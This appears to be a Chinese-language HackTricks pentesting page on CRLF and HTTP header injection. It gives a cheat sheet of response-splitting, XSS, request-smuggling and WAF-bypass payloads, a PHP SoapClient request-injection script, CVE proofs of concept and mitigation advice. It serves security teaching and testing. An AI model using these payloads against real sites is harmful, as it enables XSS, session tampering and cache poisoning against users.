CRLF (%0D%0A) 注入

Reading time: 18 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

CRLF

回车 (CR) 和换行 (LF),统称为 CRLF,是在 HTTP 协议中用于表示行结束或新行开始的特殊字符序列。Web 服务器和浏览器使用 CRLF 来区分 HTTP 头部和响应体。这些字符在各种 Web 服务器类型(如 Apache 和 Microsoft IIS)中的 HTTP/1.1 通信中被普遍使用。

CRLF 注入漏洞

CRLF 注入涉及将 CR 和 LF 字符插入用户提供的输入中。这一行为误导服务器、应用程序或用户将注入的序列解释为一个响应的结束和另一个响应的开始。虽然这些字符本身并不具害,但其误用可能导致 HTTP 响应分割和其他恶意活动。

示例:日志文件中的 CRLF 注入

Example from here

考虑一个管理员面板中的日志文件,其格式为:IP - 时间 - 访问路径。一个典型的条目可能看起来像:

123.123.123.123 - 08:15 - /index.php?page=home

攻击者可以利用 CRLF 注入来操纵此日志。通过在 HTTP 请求中注入 CRLF 字符,攻击者可以更改输出流并伪造日志条目。例如,注入的序列可能会将日志条目转换为:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

这里,%0d%0a 代表 CR 和 LF 的 URL 编码形式。攻击后,日志会误导性地显示:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

攻击者通过使其恶意活动看起来像是本地主机(在服务器环境中通常被信任的实体)执行的操作,从而掩盖其行为。服务器将以 %0d%0a 开头的查询部分解释为单个参数,而 restrictedaction 参数则被解析为另一个独立的输入。被操控的查询有效地模仿了一个合法的管理命令:/index.php?page=home&restrictedaction=edit

HTTP 响应拆分

描述

HTTP 响应拆分是一种安全漏洞,发生在攻击者利用 HTTP 响应的结构时。该结构使用特定字符序列将头部与主体分开,即回车(CR)后跟换行(LF),统称为 CRLF。如果攻击者成功地将 CRLF 序列插入响应头中,他们可以有效地操控后续的响应内容。这种操控可能导致严重的安全问题,特别是跨站脚本(XSS)。

通过 HTTP 响应拆分进行 XSS

  1. 应用程序设置一个自定义头,如:X-Custom-Header: UserInput
  2. 应用程序从查询参数中获取 UserInput 的值,比如 "user_input"。在缺乏适当输入验证和编码的情况下,攻击者可以构造一个包含 CRLF 序列及恶意内容的有效载荷。
  3. 攻击者构造一个带有特殊 'user_input' 的 URL:?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
  • 在这个 URL 中,%0d%0a%0d%0a 是 CRLFCRLF 的 URL 编码形式。它欺骗服务器插入 CRLF 序列,使服务器将后续部分视为响应主体。
  1. 服务器在响应头中反映攻击者的输入,导致意外的响应结构,其中恶意脚本被浏览器解释为响应主体的一部分。

HTTP 响应拆分导致重定向的示例

来自 https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

浏览器到:

/%0d%0aLocation:%20http://myweb.com

服务器响应的头部为:

Location: http://myweb.com

其他示例:(来自 https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

在 URL 路径中

您可以将有效负载放在 URL 路径中以控制服务器的响应(示例来自 here):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

检查更多示例在:

bugbounty-cheatsheet/cheatsheets/crlf.md at master \xc2\xb7 EdOverflow/bugbounty-cheatsheet \xc2\xb7 GitHub

HTTP Header Injection

HTTP Header Injection,通常通过 CRLF(回车和换行)注入进行利用,允许攻击者插入 HTTP 头。这可能会破坏安全机制,例如 XSS(跨站脚本)过滤器或 SOP(同源策略),可能导致未经授权访问敏感数据,例如 CSRF 令牌,或通过植入 cookie 操纵用户会话。

通过 HTTP Header Injection 利用 CORS

攻击者可以注入 HTTP 头以启用 CORS(跨源资源共享),绕过 SOP 施加的限制。这一漏洞允许来自恶意源的脚本与来自不同源的资源进行交互,可能访问受保护的数据。

通过 CRLF 的 SSRF 和 HTTP 请求注入

CRLF 注入可以用于构造和注入一个全新的 HTTP 请求。一个显著的例子是 PHP 的 SoapClient 类中的漏洞,特别是在 user_agent 参数内。通过操纵此参数,攻击者可以插入额外的头和主体内容,甚至完全注入一个新的 HTTP 请求。以下是一个演示此利用的 PHP 示例:

php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

有关此技术和潜在问题的更多信息 请查看原始来源

您可以注入必要的头部,以确保 后端在响应初始请求后保持连接打开

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

之后,可以指定第二个请求。此场景通常涉及HTTP request smuggling,这是一种技术,其中服务器在注入后附加的额外头部或主体元素可能导致各种安全漏洞。

利用:

  1. 恶意前缀注入:此方法涉及通过指定恶意前缀来毒害下一个用户的请求或网络缓存。一个例子是:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. 为响应队列毒害构造前缀:此方法涉及创建一个前缀,当与尾部垃圾结合时,形成一个完整的第二个请求。这可以触发响应队列毒害。一个例子是:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache 注入

Memcache 是一个使用明文协议的键值存储。更多信息请参见:

11211 - Pentesting Memcache

有关完整信息,请阅读 原始报告

如果一个平台从HTTP请求中获取数据并在未进行清理的情况下使用它来向memcache服务器执行请求,攻击者可能会利用这种行为注入新的 memcache 命令

例如,在最初发现的漏洞中,缓存键用于返回用户应连接的 IP 和端口,攻击者能够注入 memcache 命令,这将毒害缓存以将受害者的详细信息(包括用户名和密码)发送到攻击者的服务器:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop

此外,研究人员还发现,他们可以使 memcache 响应不同步,以将攻击者的 IP 和端口发送给攻击者不知道其电子邮件的用户:

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop

如何防止 Web 应用中的 CRLF / HTTP 头注入

为了减轻 Web 应用中 CRLF(回车和换行)或 HTTP 头注入的风险,建议采取以下策略:

  1. 避免在响应头中直接使用用户输入:最安全的方法是避免将用户提供的输入直接纳入响应头中。
  2. 编码特殊字符:如果无法避免直接用户输入,请确保使用专门用于编码特殊字符(如 CR 和 LF)的函数。这种做法可以防止 CRLF 注入的可能性。
  3. 更新编程语言:定期将用于 Web 应用的编程语言更新到最新版本。选择一个本质上不允许在设置 HTTP 头的函数中注入 CR 和 LF 字符的版本。

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

最近的漏洞 (2023 – 2025)

过去几年中,广泛使用的服务器和客户端组件中出现了几个高影响的 CRLF/HTTP 头注入漏洞。在本地重现和研究这些漏洞是理解现实世界利用模式的绝佳方式。

年份组件CVE / 通告根本原因PoC 亮点
2024RestSharp (≥110.0.0 <110.2.0)CVE-2024-45302AddHeader() 辅助函数未能清理 CR/LF,允许在 RestSharp 作为 HTTP 客户端在后端服务中使用时构造多个请求头。下游系统可能被迫进行 SSRF 或请求走私。client.AddHeader("X-Foo","bar%0d%0aHost:evil")
2024Refit (≤ 7.2.101)CVE-2024-51501接口方法上的头属性被逐字复制到请求中。通过嵌入 %0d%0a,攻击者可以在服务器端工作任务中使用 Refit 时添加任意头或甚至第二个请求。[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")]
2023Apache APISIX DashboardGHSA-4h3j-f5x9-r6x3用户提供的 redirect 参数未经编码直接回显到 Location: 头中,启用了开放重定向 + 缓存中毒。/login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>

这些漏洞很重要,因为它们是在 应用程序级代码 内部触发的,而不仅仅是在 Web 服务器边缘。因此,任何执行 HTTP 请求或设置响应头的内部组件都必须强制执行 CR/LF 过滤。

高级 Unicode / 控制字符绕过

现代 WAF/重写堆栈通常会剥离字面上的 \r/\n,但忘记了许多后端视为行终止符的其他字符。当 CRLF 被过滤时,尝试:

  • %E2%80%A8 (U+2028 – 行分隔符)
  • %E2%80%A9 (U+2029 – 段落分隔符)
  • %C2%85 (U+0085 – 下一行)

一些 Java、Python 和 Go 框架在头解析过程中将这些转换为 \n(参见 2023 年 Praetorian 研究)。将它们与经典有效载荷结合使用:

/%0A%E2%80%A8Set-Cookie:%20admin=true

如果过滤器首先规范化 UTF-8,则控制字符会被转换为常规换行符,注入的头部会被接受。

通过重复 Content-Encoding 技巧进行 WAF 规避 (2023)

Praetorian 研究人员还展示了通过注入:

%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a

在反射头中,浏览器将忽略服务器提供的主体,并渲染攻击者提供的后续 HTML,即使应用程序自身的内容是无害的,也会导致存储的 XSS。由于 RFC 9110 允许 Content-Encoding: identity,许多反向代理会不加更改地转发它。

自动工具

  • CRLFsuite – 用 Go 编写的快速主动扫描器。
  • crlfuzz – 基于词汇表的模糊测试工具,支持 Unicode 换行负载。
  • crlfix – 2024 工具,修补由 Go 程序生成的 HTTP 请求,并可以独立使用来测试内部服务。

暴力破解检测列表

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks